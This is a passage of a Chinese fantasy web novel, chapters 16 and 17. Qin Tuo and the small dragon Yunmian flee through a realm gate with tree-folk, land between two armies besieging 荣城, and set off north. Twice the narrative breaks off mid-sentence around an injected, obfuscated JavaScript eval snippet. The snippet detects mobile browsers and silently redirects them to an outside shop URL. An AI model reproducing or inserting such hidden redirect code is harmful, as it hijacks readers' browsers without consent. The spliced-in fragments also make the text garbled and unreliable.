一群树人偷袭时还很冷静,此刻却都乱了阵脚,只惊慌地叫着,朝着莘岳身旁躲。 “慌什么!”莘岳一声厉喝,化手为藤抽在桥栏上,炸开一道青芒,“后隘魔兵不多,鹿族和狐族开路,带着幼树去界门,木客族青壮都留下,守住前隘桥头。” 大家定了定神,赶紧按照命令各自行动。 秦拓自觉自己不是青壮战力,便也朝着界门方向走。可桥上已乱作一团,树藤漫天挥舞,青壮树人逆着人流往前隘冲。他便被人潮推搡着,又退回了崖边平台。 “哎呀。”云眠紧紧搂住他的脖子,惊慌地唤了声。 秦拓正要再次上桥,却突然转身,挥动黑刀。 铮一声脆响,一支飞来的箭矢被斩为两截,坠落桥底深渊。 前隘城楼上,几十名魔兵正张弓搭箭,冰冷的箭镞泛着幽蓝寒光。 秦拓瞧见这么多弓箭蓄势待发,想躲进人群也来不及,只觉得自己这怕是会被扎成刺猬。 心念电转间,他一声大喝:“誓死保护叔公!” 他不信这些树人就能让背上的云眠也被扎成刺猬? 一波箭矢转瞬而至,他刚觉眼前一暗,便听见了箭矢撞上实物的噗噗声。 “誓死保护叔公。” “哎哟疼疼疼。” “我胳膊被扎了。” “保护祖爷爷。” 树人们此起彼伏的呼声在桥头响起。 秦拓面前出现了数条虬结纠缠的树藤,交织成一面密不透风的藤墙。 站在他身后的一群树人,顾不得甩掉扎进藤里的箭,一边发出吃痛的吸气声,一边散掉藤墙,树藤飞出,攻向那群弓箭手。 16.第 16 章 除了弓箭,近处也扑来了一群手握长枪的魔兵。树人们在对付远处的弓箭手,秦拓便硬着头皮挥动黑刀,准备格开前方刺来的三把长枪。 铮—— 三截断枪头飞出桥外,秦拓与三名魔兵同时低头看向自己手中的兵器,眼里都露出了震惊。 黑刀完好,而那三柄精铁长枪只剩下了枪杆。 上次砍断了那魔将的武器,秦拓还不敢肯定,此时见自己这把生锈钝刀如此厉害,顿时精神大振,将一把黑刀舞得虎虎生风。 树人们站在桥上对付远处的弓箭手,秦拓则背着背篼立于桥头。 他并不会什么招式,但胜在出刀迅速,也有的是一身力气,只管将刀抡成风车。 刀锋过处,鲜血飞溅,那扑来的魔兵竟被他尽数挡住,生生杀出了一夫当关万夫莫开的架势。 “糟了,我灵气不足。”一名树人叫道。 “我的灵气也快耗光了。” 陆续有树藤因为缺少灵气而回缩,秦拓眼见远处的弓箭手又在搭箭拉弓,赶紧喝道:“退,快退。” 几支箭矢飞来,还伴着几道浓烈魔气,秦拓还没察觉,面前却突然展开数片蒲扇大小的叶子。 “保护祖爷爷。”身旁响起莘成荫的声音。 噗噗几声响,叶片将那魔气和箭矢挡下,但叶面上却出现了多处孔洞,边缘还冒出丝丝黑烟。 “我的头发更少了。” 莘成荫顶着满头冒着黑烟的叶片,在他旁边惨叫。 桥上众人开始后退,秦拓在树人的配合下,依旧顶在最前方。魔兵无法正面冲击,便有人从左右两侧悄悄接近。 熊丫儿趴在莘成荫背上,看见左边有一名魔兵鬼祟逼近,却无人察觉。 她一下便扑到对方头上,凶狠抓挠,直到一条树藤缠住了魔兵的脖子,这才重新扑回莘成荫后背。 云眠将这一幕看在眼里。他原本正害怕着,却被熊丫儿激得胆气大增,也立即支起脑袋,四处找敌。 他很快便瞧见了从右边过来的魔兵,眼睛一亮,从背篼中霍然站起。 那魔兵刚朝着秦拓抬起刀,他便俯下脑袋,狠狠一记头槌。 魔兵发出一声惨叫,捂着被龙角戳中的脸踉跄后退,被一条树藤卷起扔下了桥。 云眠却收不住冲势,就要倒栽出背篼。秦拓反手一捞,将他塞回背篼,再抡起黑刀劈向最近的魔兵。 没有足够的灵气支撑,树人们无法攻击弓箭手,箭矢逐渐密集,桥面上掉落的断藤也越来越多。 好在桥的另一头,大家已杀上后隘,冲到了界门前。 “噫?这里有土,土还很肥,适合扎根呢。” “这个土也不算太好,万鸟林子里的土那才肥。” 秦拓大声喝道:“快进门,我快要撑不住了。” 云眠站在左右摇晃的背篼里,不时朝贴近的魔兵顶上一记,也焦急地喊:“你们快进门呀,快点进门,我撑不住了。” “速度过门,别老想着扎根扎根,一群糟心玩意儿。”莘岳怒喝,手臂化作虬劲古藤,卷起几名幼童抛向界门。 秦拓满脸都是被溅上的黑血,因为持续不断地挥刀,双臂隐隐有些发麻。 一名魔兵握着长枪冲来,他再次抬刀格挡,却突然腰间一紧,整个人被腾空拽向后方。 数条树藤从桥尾飞来,卷起桥头众人的腰身,再飞快回缩,直接将人丢进界门。 “我撑不——呀!” 秦拓飞起的瞬间,背篼里的云眠和包袱都掉了出来。 云眠身在下坠,嘴里哇哇大叫,但看见身旁同样下坠的包袱,还是一把抓住。 不过下一瞬,他就被一根树藤缠住了腰,随着秦拓一前一后卷进了界门。 云眠只觉得眼前一暗,所有光亮和声音都消失,身体变得轻飘飘的,像是一片浮在半空的羽毛。 紧接着,身体便开始下坠,眼前有了光亮,耳边也响起呼呼风声。 这个下坠的过程很短,他甚至还来不及惊慌,便被一双手给接住。 他猛地睁开眼,最先映入眼帘的是灰蒙天空,以及秦拓那张糊满黑血的脸。 “娘子。”云眠又惊又喜,接着举起一直抱在怀里的包袱,得意地邀功,“看!” 秦拓没有应声,只将他横抱在怀里,动作有些僵硬地看着前方,模样有些呆愣。 周围陆续传来坠地的闷响,夹杂着吃痛的抽气。但很快,所有掉出界门的人,都像秦拓一样僵立在原地。 因为人界灵气太过稀薄,所以除了云眠和秦拓还保持着人形,其他灵界人士都已显露出各自本相。 他们现在就站在一片空地上,头顶上方并未显出界门出口。而这片空地的前方,一支大军森然列阵,一眼望不到头。 战马成列,骑兵手持长枪,步兵擎着盾,攻城兵扛着云梯,当中伫立着几架撞城门的冲车,悬着裹着铁的巨木。 秦拓缓缓转头,看向后方。 他们身后矗立着一座城楼,紧闭的城门上方写着荣城。城垛之上插满旌旗,数名弓箭手挽弓搭箭,箭尖朝向城外。 “这,这里,这里……”一名树人哆哆嗦嗦,枝叶簌簌作响。 “这里是白天。”一只毛色如雪的狐狸小声回道。 “我知道是白天,可他们,他们……” 另一名树人轻声插话:“他们这是在攻城呢,马上就要开战。” 两军对峙,杀气弥漫,战事一触即发。而他们这一行人,却偏偏落在了两军之间。 秦拓不动声色地往这群树中间挪,云眠躺在他怀里小声道:“好多人啊……” “我知道。” 近处的士兵也看见了他们,看那些树都生了五官,还转动树冠环顾四周。几棵不及人膝的小树苗也在扭动枝丫,从大树背后悄悄探出小树冠。 还有那些鹿,狐和熊,都是凭空突然出现在这里。 士兵们不敢相信自己的眼睛,有人甚至在偷偷掐自己的臂膀,但碍于大战将至,也不能互相询问,便只目瞪口呆地盯着这群不速之客。 安静,死一般的安静。 噗噗几声响,空中掉下来十几个巴掌大的泥人,在地上摔了个粉碎,但谁也没顾得上看一眼。 一棵榆树小声道:“家主,我们现在没法化形,听说凡人看见我们这副模样,会认为我们是妖怪,要想法除掉——” “别动来动去,别说话,生怕别人不知道你是妖怪吗?”莘岳厉声大喝。 近处的士兵:“……” “叔父呢?”莘岳小声问。 云眠举起手:“我在这儿。” 秦拓终于有了反应,放下云眠蹲下身:“进去。” 云眠便将包袱丢进背篼里,自己一个倒栽葱进去,再手脚并用地调整位置。 轰!轰!轰! 城墙之上突然擂动战鼓,秦拓和树人们下意识朝那边看去。士兵们虽然震惊于他们的出现,但战事要紧,也立即也看向了城墙。 三声鼓响后,城楼上竖起七八根竹竿,每根竿上都挂着一颗人头。 城墙上出现了一名身着重铠的将军,朝着这方吼道:“甄修齐,你可看清了,这便是你甄氏一家的人头。你此刻退兵,尚可保留性命,若冥顽不灵, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16343357|182737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那这城楼上也定挂上你的首级!” 城下军阵中,战马长嘶,为首将领举起长枪,嘶声大吼:“刁深老匹夫,我甄修齐对天立誓,定要亲手剜出你的心肝,将你碎尸万段,祭我家人!” 他话音刚落,身后万千将士便齐声怒吼:“杀!杀!杀!” 这声音如惊雷炸裂,直冲云霄。空地上的灵族都挤作一团,云眠也被吓得一哆嗦,倏地抱住了秦拓的脖子。 一名树人颤着声音问:“家主,如果他们打起来,那我们,我们还要继续当棵树吗?要不要适当地躲一下?” 莘岳还未来得及回应,战场上便突然沸腾,将士们如洪水般冲向城门。 城楼上也响起了尖锐的啸鸣,秦拓转头,便见一片弓箭正朝这边飞来。箭头上燃着火,箭尾拖拽着猩红火焰,宛若一场划过天际的流星雨。 方才在玉门关隘的桥头上时,他觉得自己经历了铺天盖地的箭雨,但他现在终于明白,什么才是真正的铺天盖地。 众灵族也盯着那些火箭,瞳孔中倒映着愈来愈近的火光,直到家主发出一声震耳欲聋的咆哮:“跑!!!” 随着木客家主一声暴喝,灵族众人瞬间炸开了锅。树人们也顾不得会不会被当做妖怪,树干下伸出两只脚,没命似的奔逃。 第一波箭矢呼啸而至,树人们甩动藤条格挡,秦拓挥舞黑刀,鹿狐们则灵活地腾挪躲闪。 但那些推着冲车,扛着云梯向前冲锋的人族士兵,接连中箭栽倒。后面的蜂拥补上,可甚至来不及迈出半步,便又重重扑地。 “凡第一个攀上城墙者,赏银百两!”为首将领喝道。 城头上不断射下箭矢,攻城兵们却只红着眼往前冲,性命和奖赏,让他们顾不得去管这群突然出现在战场上的妖怪。 现在停下必死无疑,冲锋尚有一线生机。即便战死,家里人也能得几两抚恤,若能活着登上城头,更是百两白银到手。 灵族人被夹在城楼和攻城大军之间,不光要挡住头顶箭矢,还要躲避冲来的人群,很快便一团混乱。 秦拓见状,果断化形,一只火红朱雀出现在了空地上,背上还驮着装了云眠的背篼。 管他妖不妖怪的,先腾空再说。 秦拓立即展翅,却无法起飞,他向前助跑,继续奋力扑扇翅膀,却始终无法离地,只扇起了一团灰土。 他察觉到体内灵气空空,知道这是没法飞走了,只得又化为人形,一把抄起背篼背上,带着云眠向左奔去。 尽管他不断闪躲,仍有两次与侧面冲来的士兵撞上。虽然是士兵被撞得倒飞,但他也踉跄数步,险些连人带背篼翻滚出去。 云眠坐在剧烈摇晃的背篼里,看着那些插满箭矢,血葫芦般的尸体,只吓得大哭。 但他若见到有人撞来,也会一边哭,一边伸胳膊使劲推搡,甚至撅着脑袋要去顶。 秦拓刚挥刀劈落一支箭矢,便有一匹失控的战马朝他冲来。马背上驮着一具骑兵尸体,后背上插着七八支羽箭,活像只刺猬。 战马转瞬已逼至眼前,云眠突然从背篼中探出大半个身子,要朝它头槌。 秦拓慌忙避让,一个后仰,贴着战马腹下惊险滑过。 背篼随秦拓的动作跟着仰倒,云眠掉了出来。他在地上连翻两圈,一骨碌爬起身,一边放声嚎啕,一边飞快追向秦拓,再麻利地重新钻进背篼里。 秦拓站直身,反手用刀背敲了敲背篼沿,喝道:“你别乱动。” “可,可他们撞你怎么办?”云眠哭着问。 “你老实呆着,我自然能躲开。” 云眠便抓紧了秦拓的肩。 17.第 17 章 喊杀声震天,涌向城楼的士兵将灵族众人冲得七零八落。秦拓看见一名奔跑的树人,有几根树枝已燃了起来,自己还浑然不觉。 “叔公。”那树人和云眠打招呼。 云眠抽泣着道:“乖。” 秦拓反过一只手:“把衣裳给我。” 背篼里有他之前脱下的粗布短褐,云眠立即递给了他。 秦拓接过外衫,几个箭步追上那名树人,边跑边抽打他树枝上的火苗。 “我烧起来了吗?我说怎么这么热,多谢。”树人道。 扑熄他树枝上的火,秦拓却又发现几名树人竟然在跟着士兵冲城。莘岳用枝干夹着两株小苗儿,冲着那几名树人喊:“蠢货,跑错方向了,向东,都向东……” 那几名冲锋的树人又调转方向,跟着自家家主跑。 “叔父呢?叔父!”莘岳又喊。 “我在这儿呐。”云眠赶紧回道。 “您没事吧?” “我没事。” 莘岳放了心,又叮嘱秦拓:“咱们都去东边。” “我知道。” 云眠紧张地坐在背篼里,已经忘记了哭泣。他突然看见了熊丫儿,小小一团棕影在烟尘中纵跃穿梭,奋力躲避那些箭矢和踏来的脚。而离她不远的地方,一名树人正焦急地左右张望,挥舞枝条抽走那些撞上去的士兵。 云眠认出那树人是莘成荫,连忙伸手指着熊丫儿,冲着他喊:“她在那儿!她在那儿!” 熊丫儿也听见了云眠的声音,耳朵一抖,转头看来,没察觉一匹战马已冲至眼前。 好在马蹄尚未踏落,莘成荫已挥出树枝,将她一把卷起。 一名和族人走散的小树人,呆呆站在空地上,脚边还伸出了细嫩的根须,想往土里扎。 因为平常便被叮嘱过,若走丢了就等在原地,所以他觉得等着也是等着,不如先扎个根。 几根箭矢嗖嗖插在脚边地面,火苗子直窜,他便慢吞吞地收回根须,往旁边稍微挪挪。 秦拓冲到附近,小树人看见了云眠,惊喜喊道:“祖祖。” “孙孙。” “好挤哟,我这有空地儿,你要来扎根吗?”小树人热情邀请。 “我不会扎根呢,我就不来了。”云眠瞥见小树所在的地面上有一滩血,又道,“孙孙你换个地方扎根,那儿有点脏。” “好哦。”小树人便再往旁边挪挪。 秦拓看见一辆包铁冲车正朝那小树人碾去,赶紧飞奔上前,一把抓起小树人,再拎着他朝前跃出。 秦拓双脚刚落地,冲车便从背后滚滚而过。他目光一扫,瞧见不远处有名树人正在打转,便喊了一声,随即抡臂将小树人朝他抛出:“接着。” 那树人满脸惊喜地伸出枝干,接住小树人,先是道谢,接着喊道:“……带着叔公去东边集合,家主说去东边。” “知道。” 秦拓继续朝东奔去,手中黑刀翻飞,一路挡开箭矢。脚下不时踩到横陈的尸首,黏腻的血浆让靴底打滑,惊得背篓里的云眠哇哇大叫,紧抱住他的脖子。 当飞箭变得稀稀落落,喊杀声也被抛在了身后,他终于冲出了这片战场。 当啷一声,黑刀坠地,他双腿一软,扑倒在松软的泥土上。 云眠从背篼里滚了出来,爬起身,先看包袱在不在,接着看向秦拓。 他脸上的污痕被泪水冲刷成一道道的,手脚并用地爬到秦拓身旁,抱住他喊:“娘子,娘子。” 秦拓哑声回道:“我没事。” “你摔了吗?我拉你起来。” “不用,我只是累了,让我躺一会儿。” 秦拓身体不住发着抖,他自己清楚,那并不是因为累,而是因为太过紧张,太过惊悸造成的战栗。 云眠趴在地上,盯着秦拓仔仔细细瞧,确认他没有受伤,只是累了,这才稍稍安心,又直起身,攥起两只拳头,开始给秦拓捶腿。 他一下一下捶着腿,眼泪却开始吧嗒吧嗒地掉。 “哭什么?”秦拓疲惫地半睁着眼。 “他们好凶,打出那么多血,好多人都不动了。”云眠抬起胳膊擦了下眼睛,“孙孙他们会被打到吗?” “不会,等会儿就能见到他们了。”秦拓侧头看了他一眼,“你还会这个手艺?” “娘说累的时候,小翠姐姐就会这样。”云眠手上动作未停。 “唔,这倒是个好习惯,可以多学学。” 云眠抽噎着问:“这样力道重不重?夫人觉着舒服吗?” “不错。” 秦拓待到稍微有了些力气,便坐起身,带着云眠躲去了一块大石后。 他要在这里等候那些灵族人,待汇合后再一同上路。 从这里能看见半座城墙,那垛口上倒满了尸体,是被地面弓箭手射杀的守军。搭上墙头的云梯则不断被掀翻,梯上人惨叫着坠地。 但也有人已经突破防线,冲上城头,双方在城墙上展开了搏杀。士兵哀嚎,战马悲嘶,兵刃相击混着冲车撞动城门的闷声,宛如人间炼狱。 秦拓忽然察觉靠在他怀中的云眠在发抖,低头,看见他脸色煞白,神情惊恐,便将他的脑袋压低:“别看。” 秦拓也不想看那场面,正想移开视线,却瞥见前方半空中浮着一层晦暗浊气,如雾霭般缓缓流动。 他凝神细察,发现战场上每倒下一名士兵,尸身上便会飘起一缕淡青色的气息。 那气息初时纯净,却在升腾过程中逐渐被染黑,最后消隐于空中。 秦拓略一思索,便反应过来那是魔气。 他终于明白魔界为何势大,是因为人界战火连天,厮杀不休,亡魂生出的混沌之气都转化成了魔气,再穿过两界壁垒进入魔界,滋养了众多魔物。 杀伐越盛,魔气越浓,而魔界则越强。 秦拓一边胡思乱想,一边等人,但他在此等了快半个时辰,一个灵族人都没见着。 他眯起眼望向远方,心里的怀疑越来越强烈,这些树人怕不是东南西北都分不清,最终稀里糊涂聚在了另一个方向。 攻城还在继续,与其等在这里,不如绕着战场走一圈,去碰碰其他灵族人。 云眠一直趴在他怀里,察觉到他身体动了动,赶紧抬起头。 “娘子。”他不安地唤了声。 “走,我们找他们去。”秦拓道。 云眠动作迅速地爬起身,扶住背篼想往里钻。背篼对他来说有些高,他抬了两次腿没能成功,也不想倒栽葱,便将背篼放倒,再趴下,撅着屁股一点一点往后蹭,将自己蹭进了背篼里。 秦拓拾起黑刀,低头看向背篼。 云眠趴在放倒的背篼里,两只胳膊下压着包袱,仰着脑袋望着他。 秦拓默默拎起背篓,动作熟练地甩到背上。 战鼓和喊杀声此起彼伏,秦拓背着云眠,小心地沿着战场外围绕行。但这样又走了快一个时辰,从城楼东侧走到西头,却连半个灵族人也没见着。 此时已是傍晚,吹来的风里带着浓重血腥气。秦拓环顾四周,视线停在某一处,加快脚步奔去。 那是一条官道,路面上躺着几十具兽类尸体,还有一些散落的断枝残叶。 那些兽尸形似虎豹,但生着漆黑鳞甲,獠牙外露,看不出是什么种类。 细看之下,好些兽尸的脖颈上有树藤缠绕的痕迹,还有几具眼眶里插着尖锐的树枝。 这附近没有林子,这些树叶应该就是树人们掉落的。显然他们曾在这里汇合,却突遭这群野兽袭击,只得匆匆离开了这里。 “是孙孙他们吗?”云眠扒着背篼边缘,声音有些不安。 “嗯。” “他们去哪儿了?”云眠追问。 秦拓看向官道前方的零星树叶,提步往前走:“他们在这条路的前面。” “呀!那我们快去找他们。”云眠高兴地叫了声,接着又问,“孙孙他们没在,我就叫你娘子了哦?” “不行。” “好的,那我叫你娘子了。” 傍晚时分,秦拓走在坑坑洼洼的官道上。路两边是长满野草的荒芜田地,虽然一直没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16349706|182737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有看见灵族,但路上开始出现了行人。 这些行人是从荣城逃出来的百姓,个个面黄肌瘦,衣衫褴褛,或推着独轮车,或挑着扁担,带着简陋的行李匆匆前行。 秦拓一直专心赶路,只在路旁出现树木时会多瞧上两眼,也就没有发现路人们总在打量他和云眠。 直到经过一架独轮车,车上坐着的老妪眯着眼睛问:“小郎君,你家娃娃头顶上是两个啥物件?” 秦拓还没反应过来,就听背上的云眠道:“奶奶,这是我的角。” 秦拓心下一紧,却听那老妪笑了起来:“这是你的角哇?” “是哦,你不要以为这是饽饽哦,它只是看着像饽饽。”云眠认真地解释。 周围的人被他逗得笑了起来,原先的愁闷气氛顿时冲淡了几分。秦拓也跟着别人笑,却赶紧将云眠背去了路旁一块大石后。 他将背篼摆在身前,摸着下巴打量云眠,眉头越拧越紧。 小孩细软的头发乱蓬蓬的,那两只玉白色小角有些显眼。虽然这群路人并未起疑,但若遇上那么一两个眼尖的,怕是会被看出端倪。 云眠不知道他看着自己做什么,也仰头望着他,双手扶着背篼沿,显得有些茫然。 “你能把角收起来吗?”秦拓问。 “能啊。”云眠抬高两只手,握住两只角,“收起来了。” “你爹那种才叫收角,不需要用手握住,头上都没有角。” “可是我是小龙啊,还不能像爹爹那样收角。”云眠不高兴地嘟囔,“爹爹那样也不好看,没有我俊俏。” 秦拓从包袱里取出那个假发,在他脑袋上左右比划,却怎么也盖不住两只角。 眼见假发遮不住龙角,秦拓索性放弃,拢起云眠散在肩头的发丝,将它们细细缠绕在龙角上,盘成左右两个圆髻。 秦拓一边替他梳头,一边叮嘱:“咱们这是到了人界,你要记得,千万别当着人化作龙形,不然会被当做妖怪抓去的。” “抓去做什么?”云眠有些紧张地问。 “嗦了,一口一条。” 云眠倒抽了口气:“好,我不变。” 盘好圆髻,头发还是少了点,发丝间透出玉白色。秦拓便从衣衫下摆扯下两条布带,在每个髻上系一根,这样既固定了圆髻,又遮掩了龙角。 重新回到官道上后,云眠不时就要问一声:“孙孙他们呢?” “就在前面。”秦拓回道。 其实秦拓心里也逐渐有些不确定。他已经加快了脚程,但依旧没有见到灵族那群人,想来是因为他们无法化形,所以避开了官道。 但这条路通向北方,只要大家都是朝着这个方向前进,那么总会在某个地方碰面。 秦拓不再急着赶路,向身旁的人打听这是去往何处。但那人只瞥他一眼,便漠然垂下视线,似是不愿搭理,又或者无心应答。 身后有一架独轮车,车上捆着小山似的行李,拉车的老汉佝着背走在车前。 秦拓缓下脚步,不动声色地靠近独轮车,迅速扯断捆住行李的麻绳,并在最上面的被褥滑落前,一把将其接住。 “大爷,东西掉了。”秦拓招呼。 拉车的老汉回头,一边道谢一边走了过来。秦拓帮他重新捆扎被褥,嘴里问道:“大爷,咱们这是去哪儿啊?” “自然是去卢城。这官道上逃难的,十有八九都是奔卢城去的,小郎君莫非不是?” 秦拓一脸苦闷地道:“我不是本地人,家在南边,带着弟弟去荣城投奔亲戚。谁想亲戚没寻着,倒遇上打仗,稀里糊涂跟着出了城,到现在都未弄明白究竟发生了什么事。” 他说话时,正低头看他给麻绳打结的的云眠收回了视线,圆溜溜的盯着秦拓的侧脸,神情越来越困惑。 “娘子——” 秦拓头也不回,只两根手指捏住他的嘴。 云眠左右扭头,想把他的手指甩开,秦拓便低声道:“不要说话,不要动,你现在是条冬眠的小蛇。” 云眠便闭上嘴,耷拉下脑袋,软软地倒在了背篼里。